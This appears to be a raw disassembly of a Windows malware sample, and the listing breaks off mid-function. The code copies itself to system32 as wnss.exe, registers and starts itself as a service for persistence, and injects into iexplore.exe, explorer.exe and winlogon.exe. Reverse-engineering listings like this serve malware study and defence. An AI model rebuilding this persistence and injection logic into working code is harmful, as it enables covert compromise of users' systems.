call sub_449CF1
add esp, 0Ch
mov ebx, eax
push 2710h
mov eax, ebx
push eax
call dword_411D34
test eax, eax
jz short loc_448857
push dword_41104C
call sub_4437E3
pop ecx
mov dword_41104C, 1
mov eax, ebx
push eax
call dword_411CF8
xor eax, eax
jmp short loc_448863
; ---------------------------------------------------------------------------
loc_448857: ; CODE XREF: sub_448802+30j
mov eax, ebx
push eax
call dword_411CF8
xor eax, eax
inc eax
loc_448863: ; CODE XREF: sub_448802+53j
pop ebx
retn
sub_448802 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
call sub_445A17
test eax, eax
jnz loc_448A4B
call sub_445979
test eax, eax
jnz loc_448A4B
call sub_448422
push dword_41296C
call dword_411D50
push 3E8h
push dword_41296C
call dword_411D34
call sub_448802
test eax, eax
jz short loc_4488E3
push 3E8h
call dword_411D00
push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"...
call nullsub_4
pop ecx
push 0FFFFFFFFh
push dword_41296C
call dword_411D34
push dword_41296C
call dword_411D50
loc_4488E3: ; CODE XREF: DMN1:004488B1j
and dword ptr [ebp-0Ch], 0
mov dword ptr [ebp-8], 4
mov esi, [ebp-0Ch]
loc_4488F1: ; CODE XREF: DMN1:00448A1Fj
push dword_41296C
call dword_411D50
cmp esi, 2
ja short loc_44892D
test esi, esi
jz short loc_448912
cmp esi, 1
jz short loc_44891B
cmp esi, 2
jz short loc_448924
jmp short loc_448931
; ---------------------------------------------------------------------------
loc_448912: ; CODE XREF: DMN1:00448904j
mov dword ptr [ebp-4], offset aIexplore_exe ; "iexplore.exe"
jmp short loc_448931
; ---------------------------------------------------------------------------
loc_44891B: ; CODE XREF: DMN1:00448909j
mov dword ptr [ebp-4], offset aExplorer_exe ; "explorer.exe"
jmp short loc_448931
; ---------------------------------------------------------------------------
loc_448924: ; CODE XREF: DMN1:0044890Ej
mov dword ptr [ebp-4], offset aWinlogon_exe ; "winlogon.exe"
jmp short loc_448931
; ---------------------------------------------------------------------------
loc_44892D: ; CODE XREF: DMN1:00448900j
and dword ptr [ebp-4], 0
loc_448931: ; CODE XREF: DMN1:00448910j
; DMN1:00448919j ...
call sub_4482DE
test eax, eax
jz loc_448A25
cmp esi, 2
ja short loc_448956
push offset dword_412970
push dword ptr [ebp-4]
call sub_44868E
pop ecx
pop ecx
mov ebx, eax
jmp short loc_448971
; ---------------------------------------------------------------------------
loc_448956: ; CODE XREF: DMN1:00448941j
mov edi, 64h
loc_44895B: ; CODE XREF: DMN1:0044896Fj
push offset dword_412970
call sub_44875D
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_448971
dec edi
test edi, edi
jg short loc_44895B
loc_448971: ; CODE XREF: DMN1:00448954j
; DMN1:0044896Aj
inc esi
test ebx, ebx
jz loc_4489F8
call sub_448802
test eax, eax
jz short loc_4489F8
push 3E8h
call dword_411D00
push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
call nullsub_4
pop ecx
jmp short loc_4489A8
; ---------------------------------------------------------------------------
loc_44899B: ; CODE XREF: DMN1:004489BEj
call sub_445979
test eax, eax
jnz loc_448A4B
loc_4489A8: ; CODE XREF: DMN1:00448999j
push 2BCh
push dword_41296C
call dword_411D34
cmp eax, 102h
jz short loc_44899B
push dword_41296C
call dword_411D50
mov esi, [ebp-0Ch]
call sub_445979
test eax, eax
jz short loc_4489ED
push offset aDying ; "dying\n"
call nullsub_4
pop ecx
push 1
call sub_449DC1
pop ecx
jmp short loc_448A4B
; ---------------------------------------------------------------------------
loc_4489ED: ; CODE XREF: DMN1:004489D6j
push offset aDllStopped___ ; "DLL stopped...\n"
call nullsub_4
pop ecx
loc_4489F8: ; CODE XREF: DMN1:00448974j
; DMN1:00448981j
call sub_445A17
test eax, eax
jnz short loc_448A4B
cmp dword_411050, 0
jz short loc_448A1C
push offset dword_412970
call sub_449E71
pop ecx
and dword_411050, 0
loc_448A1C: ; CODE XREF: DMN1:00448A08j
cmp esi, [ebp-8]
jle loc_4488F1
loc_448A25: ; CODE XREF: DMN1:00448938j
push offset aInjectionthrea ; "InjectionThread complete\n"
call nullsub_4
pop ecx
cmp dword_411050, 0
jz short loc_448A4B
push offset dword_412970
call sub_449E71
pop ecx
and dword_411050, 0
loc_448A4B: ; CODE XREF: DMN1:00448875j
; DMN1:00448882j ...
call sub_449D81
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebx
push 0
push 0
push 1
push 0
call dword_411D40
mov dword_41296C, eax
push 0
push 0
push offset sub_406544
call sub_449CF1
add esp, 0Ch
mov ebx, eax
push 0FFFFFFFFh
mov eax, ebx
push eax
call dword_411D34
mov eax, ebx
push eax
call dword_411CF8
push 0
push 0
push offset sub_40356A
call sub_449CF1
add esp, 0Ch
push eax
call dword_411CF8
push 1F4h
call dword_411D00
push 0
push 0
push offset sub_404967
call sub_449CF1
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_448AD1 proc near ; CODE XREF: sub_449069+1p
var_2004 = byte ptr -2004h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov eax, 2004h
call sub_449B11
push ebx
push esi
push edi
and [ebp+var_4], 0
xor esi, esi
mov off_412958, offset aWnss ; "wnss"
call sub_44335D
call sub_443486
call sub_4433B8
push offset dword_413970
call dword_411CC8
call sub_4442AF
mov dword_412934, eax
call dword_411D90
push eax
call sub_44354B
pop ecx
cmp dword_411000, 4
jnz loc_448C0F
push offset aUpdate_0 ; "*update"
push dword_4128A8
call dword_411D38
test eax, eax
jnz loc_448C0F
call sub_445925
mov [ebp+var_8], eax
call sub_446483
mov eax, dword_411018
push eax
push [ebp+var_8]
push offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
call nullsub_4
add esp, 0Ch
push offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
call nullsub_4
pop ecx
push 1770h
call dword_411D00
call sub_44744C
push 0FA0h
call dword_411D00
call sub_44744C
call sub_4459A6
and [ebp+var_C], 0
push dword_4128A4
push dword_4128B0
push dword_4128AC
push offset aNewSOldSSelfS ; "new=<%s>, old=<%s>, self=<%s>\r\n"
call nullsub_4
add esp, 10h
lea eax, [ebp+var_C]
push eax
push 1
push 0
push dword_4128AC
call sub_445A44
add esp, 10h
test eax, eax
jnz short loc_448C08
push 0
push 1
push 0
push dword_4128B0
call sub_445A44
add esp, 10h
test eax, eax
jnz short loc_448C08
push 0
push 1
push 0
push dword_4128A4
call sub_445A44
add esp, 10h
test eax, eax
jz short loc_448C0F
loc_448C08: ; CODE XREF: sub_448AD1+105j
; sub_448AD1+11Dj
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448C0F: ; CODE XREF: sub_448AD1+58j
; sub_448AD1+71j ...
call sub_44642F
test eax, eax
jz short loc_448C1F
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448C1F: ; CODE XREF: sub_448AD1+145j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jz loc_448D02
push offset aCopying___ ; "copying...\n"
call nullsub_4
pop ecx
push 80h
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call dword_411D28
push 0
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D24
test eax, eax
jz loc_448CF4
push 7
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
call dword_411D28
lea edi, [ebp+var_2004]
mov byte ptr [edi], 22h
inc edi
push dword_4128A4
push edi
call sub_449A51
pop ecx
pop ecx
push dword_4128A4
call sub_449A31
pop ecx
add edi, eax
mov byte ptr [edi], 22h
inc edi
mov byte ptr [edi], 0
inc edi
lea eax, [ebp+var_2004]
push eax
push offset aCmdlineS ; "cmdline: <%s>\n"
call nullsub_4
pop ecx
pop ecx
call sub_446483
lea eax, [ebp+var_2004]
push eax
call sub_447F0A
pop ecx
test eax, eax
jz short loc_448CD9
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448CD9: ; CODE XREF: sub_448AD1+1FFj
push offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
call nullsub_4
pop ecx
call sub_44642F
test eax, eax
jz short loc_448CFF
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448CF4: ; CODE XREF: sub_448AD1+197j
push offset aCopyingFailed ; "copying failed %%-(\n"
call nullsub_4
pop ecx
loc_448CFF: ; CODE XREF: sub_448AD1+21Aj
xor esi, esi
inc esi
loc_448D02: ; CODE XREF: sub_448AD1+161j
call sub_4445B7
call sub_447BDF
push 0
push 0
call sub_4446FD
pop ecx
pop ecx
mov dword_411004, eax
push offset aInitializingWi ; "initializing winsock library...\n"
call nullsub_4
pop ecx
call sub_44360D
cmp dword_411000, 1
jle loc_448DD3
mov eax, dword_4128A8
cmp byte ptr [eax], 2Ah
jz loc_448DD3
push 80h
push dword_4128A8
call dword_411D28
push dword_4128A8
call dword_411D4C
cmp eax, 0FFFFFFFFh
jz short loc_448DB7
push dword_4128A8
push offset aRemovingS ; "removing: <%s>\n"
call nullsub_4
pop ecx
pop ecx
mov edi, 0Ah
jmp short loc_448DB0
; ---------------------------------------------------------------------------
loc_448D84: ; CODE XREF: sub_448AD1+2E4j
push 80h
push dword_4128A8
call dword_411D28
push dword_4128A8
call dword_411D18
test eax, eax
jnz short loc_448DB7
push 3E8h
call dword_411D00
loc_448DB0: ; CODE XREF: sub_448AD1+2B1j
dec edi
mov eax, edi
test eax, eax
jnz short loc_448D84
loc_448DB7: ; CODE XREF: sub_448AD1+298j
; sub_448AD1+2D2j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_448DD3
mov [ebp+var_4], 1
loc_448DD3: ; CODE XREF: sub_448AD1+262j
; sub_448AD1+270j ...
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_448E31
push offset asc_40E58E ; "**"
push dword_4128A8
call dword_411D38
test eax, eax
jnz short loc_448E31
push offset aWaiting___ ; "*** waiting...\n"
call nullsub_4
pop ecx
mov edi, 0Ah
loc_448E0D: ; CODE XREF: sub_448AD1+353j
call sub_447098
test eax, eax
jz short loc_448E26
push 1F4h
call dword_411D00
dec edi
test edi, edi
jnz short loc_448E0D
loc_448E26: ; CODE XREF: sub_448AD1+343j
push offset aWaitingComplet ; "*** waiting complete...\n"
call nullsub_4
pop ecx
loc_448E31: ; CODE XREF: sub_448AD1+315j
; sub_448AD1+32Aj
call sub_447098
mov ebx, eax
test ebx, ebx
jnz short loc_448E8A
push offset aNoRegisteredSe ; "no registered service, "
call nullsub_4
pop ecx
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_448E73
mov [ebp+var_4], 1
push offset aRegisterItAndR ; "register it and restart\n"
call nullsub_4
pop ecx
jmp loc_448F14
; ---------------------------------------------------------------------------
loc_448E73: ; CODE XREF: sub_448AD1+389j
push offset aDonTRegisterIt ; "DON'T register it\n"
call nullsub_4
pop ecx
and [ebp+var_4], 0
xor esi, esi
inc esi
jmp loc_448F14
; ---------------------------------------------------------------------------
loc_448E8A: ; CODE XREF: sub_448AD1+369j
push offset aRegisteredServ ; "registered service is here...\n"
call nullsub_4
pop ecx
call sub_4470E2
test eax, eax
jz short loc_448EA5
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448EA5: ; CODE XREF: sub_448AD1+3CBj
push offset aRegisteredSe_0 ; "registered service is not running.\n"
call nullsub_4
pop ecx
call sub_4463E4
test eax, eax
jnz short loc_448F14
push offset aInstallingServ ; "installing service, res="
call nullsub_4
pop ecx
call sub_44730A
mov [ebp+var_8], eax
push [ebp+var_8]
push offset aI ; "%i\n"
call nullsub_4
pop ecx
pop ecx
call sub_447491
test eax, eax
jnz short loc_448EE9
call sub_447567
loc_448EE9: ; CODE XREF: sub_448AD1+411j
call sub_446483
push offset aStartingServic ; "starting service...\n"
call nullsub_4
pop ecx
call sub_447236
test eax, eax
jz short loc_448F09
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448F09: ; CODE XREF: sub_448AD1+42Fj
push offset aRegisteredSe_1 ; "registered service is not running, unre"...
call nullsub_4
pop ecx
loc_448F14: ; CODE XREF: sub_448AD1+39Dj
; sub_448AD1+3B4j ...
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_448F55
cmp [ebp+var_4], 0
jz short loc_448F55
test ebx, ebx
jnz short loc_448F55
push offset aInstallingSe_0 ; "installing service...\n"
call nullsub_4
pop ecx
call sub_44730A
test eax, eax
jz short loc_448F55
push offset aServiceInstall ; "service installed ok...\n"
call nullsub_4
pop ecx
xor ebx, ebx
inc ebx
loc_448F55: ; CODE XREF: sub_448AD1+456j
; sub_448AD1+45Cj ...
test ebx, ebx
jz short loc_448F62
call sub_4463E4
test eax, eax
jz short loc_448F8C
loc_448F62: ; CODE XREF: sub_448AD1+486j
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_448FBC
push offset asc_40E58E ; "**"
push dword_4128A8
call dword_411D38
test eax, eax
jnz short loc_448FBC
loc_448F8C: ; CODE XREF: sub_448AD1+48Fj
push offset aStartingServic ; "starting service...\n"
call nullsub_4
pop ecx
call sub_446483
call sub_447236
test eax, eax
jz short loc_448FAC
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448FAC: ; CODE XREF: sub_448AD1+4D2j
call sub_44642F
test eax, eax
jz short loc_448FBC
xor eax, eax
jmp loc_449062
; ---------------------------------------------------------------------------
loc_448FBC: ; CODE XREF: sub_448AD1+4A4j
; sub_448AD1+4B9j ...
call sub_447098
test eax, eax
jz short loc_449013
call sub_4463E4
test eax, eax
jz short loc_449013
push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
push dword_4128A4
call dword_411D38
test eax, eax
jnz short loc_449013
push offset asc_40E58E ; "**"
push dword_4128A8
call dword_411D38
test eax, eax
jz short loc_449013
push offset aInitializingSe ; "initializing service startup sequence.."...
call nullsub_4
pop ecx
call sub_447EA9
test eax, eax
jz short loc_449010
xor eax, eax
jmp short loc_449062
; ---------------------------------------------------------------------------
loc_449010: ; CODE XREF: sub_448AD1+539j
xor esi, esi
inc esi
loc_449013: ; CODE XREF: sub_448AD1+4F2j
; sub_448AD1+4FBj ...
push offset aNotDaemonized_ ; "not daemonized...\n"
call nullsub_4
pop ecx
test esi, esi
jz short loc_44902E
push dword_4128A4
call sub_447B54
pop ecx
loc_44902E: ; CODE XREF: sub_448AD1+54Fj
call sub_44642F
test eax, eax
jz short loc_44903B
xor eax, eax
jmp short loc_449062
; ---------------------------------------------------------------------------
loc_44903B: ; CODE XREF: sub_448AD1+564j
push 0
push 0
push offset sub_406736
call sub_449CF1
add esp, 0Ch
push 0FFFFFFFFh
push eax
call dword_411D34
push offset dword_40E000
call nullsub_4
pop ecx
xor eax, eax
loc_449062: ; CODE XREF: sub_448AD1+139j
; sub_448AD1+149j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_448AD1 endp
; =============== S U B R O U T I N E =======================================
sub_449069 proc near ; CODE XREF: DMN1:00449F42p
push ebx
call sub_448AD1
mov ebx, eax
call sub_446483
mov eax, ebx
pop ebx
retn 10h
sub_449069 endp
; ---------------------------------------------------------------------------
db 0CCh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44907D proc near ; CODE XREF: sub_44868E+1Bp
; sub_44875D+30p
jmp dword_411D84
sub_44907D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449083 proc near ; CODE XREF: sub_44868E+3Cp
; sub_44875D+4Dp
jmp dword_411D88
sub_449083 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449089 proc near ; CODE XREF: sub_44868E+B6p
; sub_44875D+88p
jmp dword_411D8C
sub_449089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44908F proc near ; CODE XREF: sub_44360D+1Ap
; sub_44360D+34p
jmp dword_411E88
sub_44908F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449095 proc near ; CODE XREF: DMN1:00443671p
jmp dword_411E8C
sub_449095 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44909B proc near ; CODE XREF: sub_44367A+Bp
; DMN1:004436FEp ...
jmp dword_411E90
sub_44909B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490A1 proc near ; CODE XREF: sub_44367A+36p
; sub_44367A+53p ...
jmp dword_411E94
sub_4490A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490A7 proc near ; CODE XREF: sub_4437E3+4p
; sub_444E23+152p ...
jmp dword_411E98
sub_4490A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490AD proc near ; CODE XREF: sub_4437F0+56p
jmp dword_411E9C
sub_4490AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490B3 proc near ; CODE XREF: sub_443863+11p
jmp dword_411EA0
sub_4490B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490B9 proc near ; CODE XREF: sub_443888+28p
; sub_4438D8+28p ...
jmp dword_411EA4
sub_4490B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490BF proc near ; CODE XREF: sub_443888+3Ap
jmp dword_411EA8
sub_4490BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490C5 proc near ; CODE XREF: sub_4438D8+3Ap
; sub_444E23+E5p ...
jmp dword_411EAC
sub_4490C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490CB proc near ; CODE XREF: sub_443928+8p
jmp dword_411EB0
sub_4490CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490D1 proc near ; CODE XREF: sub_443942+30p
; sub_44398D+3Fp
jmp dword_411EB4
sub_4490D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490D7 proc near ; CODE XREF: sub_44398D+5Fp
; DMN1:00443B65p ...
jmp dword_411EB8
sub_4490D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490DD proc near ; CODE XREF: sub_4439FD+17p
; sub_443A34+18p ...
jmp dword_411EBC
sub_4490DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490E3 proc near ; CODE XREF: sub_443AA8+17p
jmp dword_411EC0
sub_4490E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490E9 proc near ; CODE XREF: sub_443ADF+8p
; sub_4448CA+EDp ...
jmp dword_411EC4
sub_4490E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490EF proc near ; CODE XREF: sub_443ADF+1Bp
jmp dword_411EC8
sub_4490EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490F5 proc near ; CODE XREF: DMN1:00443B48p
jmp dword_411ECC
sub_4490F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4490FB proc near ; CODE XREF: DMN1:00443B97p
jmp dword_411ED0
sub_4490FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449101 proc near ; CODE XREF: DMN1:00443BB8p
; sub_445434+5Cp ...
jmp dword_411ED4
sub_449101 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449107 proc near ; CODE XREF: sub_444E23+142p
; sub_445434+FCp ...
jmp dword_411ED8
sub_449107 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_44910D proc near ; CODE XREF: sub_444E23+1DBp
; sub_445434+16Dp ...
jmp dword_411EDC
sub_44910D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449113 proc near ; CODE XREF: sub_444E23+1E4p
; sub_445434+176p ...
jmp dword_411EE0
sub_449113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_449119 proc near ; CODE XREF: sub_4453C5+23p
; sub_4453C5+4Bp
jmp dword_411EE8
sub_449119 endp
; ---------------------------------------------------------------------------
db 2 dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_449121 proc near ; CODE XREF: sub_443369+15p
; DMN1:0044342Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov eax, [esp+8+arg_0]
mul [esp+8+arg_4]
mov esi, eax
push esi
call sub_44A581
pop ecx
mov ebx, eax
test ebx, ebx
jz short loc_449148
mov edx, ebx
mov ecx, esi
xor eax, eax
push edi
mov edi, edx
rep stosb
pop edi
mov eax, edx
loc_449148: ; CODE XREF: sub_449121+17j
mov eax, ebx
pop esi
pop ebx
retn
sub_449121 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_449151 proc near ; CODE XREF: sub_4494D1+59p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
or [ebp+var_C], 0FFFFFFFFh
mov ebx, [ebp+arg_0]
add ebx, 0FFFFFFFCh
test dword ptr [ebx], 80000000h
jnz short loc_44917C
call sub_44A781
mov dword ptr [eax], 16h
jmp loc_4494BE
; ---------------------------------------------------------------------------
loc_44917C: ; CODE XREF: sub_449151+19j
mov eax, [ebx]
mov edi, eax
and edi, 7FFFFFFFh
lea eax, [ebx-4]
mov [ebp+var_4], eax
lea ebx, [ebx+edi*4-4]
lea esi, [ebx+4]
test dword ptr [esi], 80000000h
jnz loc_44922C
mov eax, [esi]
lea esi, [esi+eax*4-4]
mov eax, dword_4111E4
cmp [esi], eax
ja short loc_4491E1
mov eax, dword_4111DC
cmp [esi], eax
ja short loc_4491C9
mov eax, dword_4111D8
cmp [esi], eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_4491DC
; ---------------------------------------------------------------------------
loc_4491C9: ; CODE XREF: sub_449151+64j
mov eax, dword_4111E0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_4491DC: ; CODE XREF: sub_449151+76j
mov eax, [ebp+var_10]
jmp short loc_449212
; ---------------------------------------------------------------------------
loc_4491E1: ; CODE XREF: sub_449151+5Bj
mov eax, dword_4111EC
cmp [esi], eax
ja short loc_4491FF
mov eax, dword_4111E8
cmp [esi], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_449212
; ---------------------------------------------------------------------------
loc_4491FF: ; CODE XREF: sub_449151+97j
mov eax, dword_4111F0
cmp [esi], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_449212: ; CODE XREF: sub_449151+8Ej
; sub_449151+ACj
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [esi]
add edi, eax
mov [esi], edi
mov eax, edi
shl eax, 2
mov edx, esi
sub edx, eax
mov [edx+4], edi
mov ebx, esi
loc_44922C: ; CODE XREF: sub_449151+48j
mov eax, [ebp+var_4]
test dword ptr [eax], 80000000h
jnz loc_449358
mov eax, [ebp+var_4]
mov edx, [eax]
add edi, edx
mov edx, dword_4111E4
cmp [eax], edx
ja short loc_44928B
mov eax, [ebp+var_4]
mov edx, dword_4111DC
cmp [eax], edx
ja short loc_44926F
mov eax, [ebp+var_4]
mov edx, dword_4111D8
cmp [eax], edx
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_449286
; ---------------------------------------------------------------------------
loc_44926F: ; CODE XREF: sub_449151+106j
mov eax, [ebp+var_4]
mov edx, dword_4111E0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_449286: ; CODE XREF: sub_449151+11Cj
mov eax, [ebp+var_10]
jmp short loc_4492C8
; ---------------------------------------------------------------------------
loc_44928B: ; CODE XREF: sub_449151+F9j
mov eax, [ebp+var_4]
mov edx, dword_4111EC
cmp [eax], edx
ja short loc_4492B1
mov eax, [ebp+var_4]
mov edx, dword_4111E8
cmp [eax], edx
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_4492C8
; ---------------------------------------------------------------------------
loc_4492B1: ; CODE XREF: sub_449151+145j
mov eax, [ebp+var_4]
mov edx, dword_4111F0
cmp [eax], edx
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_4492C8: ; CODE XREF: sub_449151+138j
; sub_449151+15Ej
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
mov eax, [eax-4]
mov [ebp+var_14], eax
cmp eax, [ebp+var_4]
jnz short loc_449313
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jnz short loc_44934A
jmp short loc_4492FD
; ---------------------------------------------------------------------------
loc_4492F7: ; CODE XREF: sub_449151+1BEj
inc dword_4111F8
loc_4492FD: ; CODE XREF: sub_449151+1A4j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_449311
cmp eax, 7
jl short loc_4492F7
loc_449311: ; CODE XREF: sub_449151+1B9j
jmp short loc_44934A
; ---------------------------------------------------------------------------
loc_449313: ; CODE XREF: sub_449151+189j
mov eax, [ebp+var_4]
mov eax, [eax-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
cmp eax, [ebp+var_4]
jnz short loc_44934A
mov eax, [ebp+var_8]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_44934A: ; CODE XREF: sub_449151+1A2j
; sub_449151:loc_449311j ...
mov [ebx], edi
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], edi
loc_449358: ; CODE XREF: sub_449151+E4j
cmp edi, dword_4111E4
ja short loc_449392
cmp edi, dword_4111DC
ja short loc_44937A
mov eax, dword_4111D8
cmp edi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_44938D
; ---------------------------------------------------------------------------
loc_44937A: ; CODE XREF: sub_449151+215j
mov eax, dword_4111E0
cmp edi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_44938D: ; CODE XREF: sub_449151+227j
mov eax, [ebp+var_10]
jmp short loc_4493C2
; ---------------------------------------------------------------------------
loc_449392: ; CODE XREF: sub_449151+20Dj
cmp edi, dword_4111EC
ja short loc_4493AF
mov eax, dword_4111E8
cmp edi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_4493C2
; ---------------------------------------------------------------------------
loc_4493AF: ; CODE XREF: sub_449151+247j
mov eax, dword_4111F0
cmp edi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_4493C2: ; CODE XREF: sub_449151+23Fj
; sub_449151+25Cj
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
cmp [ebp+var_C], eax
jz loc_4494BE
cmp [ebp+var_C], 0
jl short loc_44944A
mov eax, [ebx-4]
mov [ebp+var_14], eax
cmp ebx, [ebp+var_14]
jnz short loc_449419
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_44944A
jmp short loc_449403
; ---------------------------------------------------------------------------
loc_4493FD: ; CODE XREF: sub_449151+2C4j
inc dword_4111F8
loc_449403: ; CODE XREF: sub_449151+2AAj
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_449417
cmp eax, 7
jl short loc_4493FD
loc_449417: ; CODE XREF: sub_449151+2BFj
jmp short loc_44944A
; ---------------------------------------------------------------------------
loc_449419: ; CODE XREF: sub_449151+28Fj
mov eax, [ebx-8]
mov [ebp+var_18], eax
mov edx, [ebp+var_18]
mov eax, [ebp+var_14]
mov [edx-4], eax
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_44944A
mov eax, [ebp+var_C]
mov edx, [ebp+var_18]
mov dword_4111A8[eax*4], edx
loc_44944A: ; CODE XREF: sub_449151+284j
; sub_449151+2A8j ...
mov eax, [ebp+var_8]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_449480
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, [ebp+var_8]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_8]
cmp dword_4111F8, eax
jle short loc_449489
mov eax, [ebp+var_8]
mov dword_4111F8, eax
jmp short loc_449489
; ---------------------------------------------------------------------------
loc_449480: ; CODE XREF: sub_449151+308j
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_449489: ; CODE XREF: sub_449151+323j
; sub_449151+32Dj
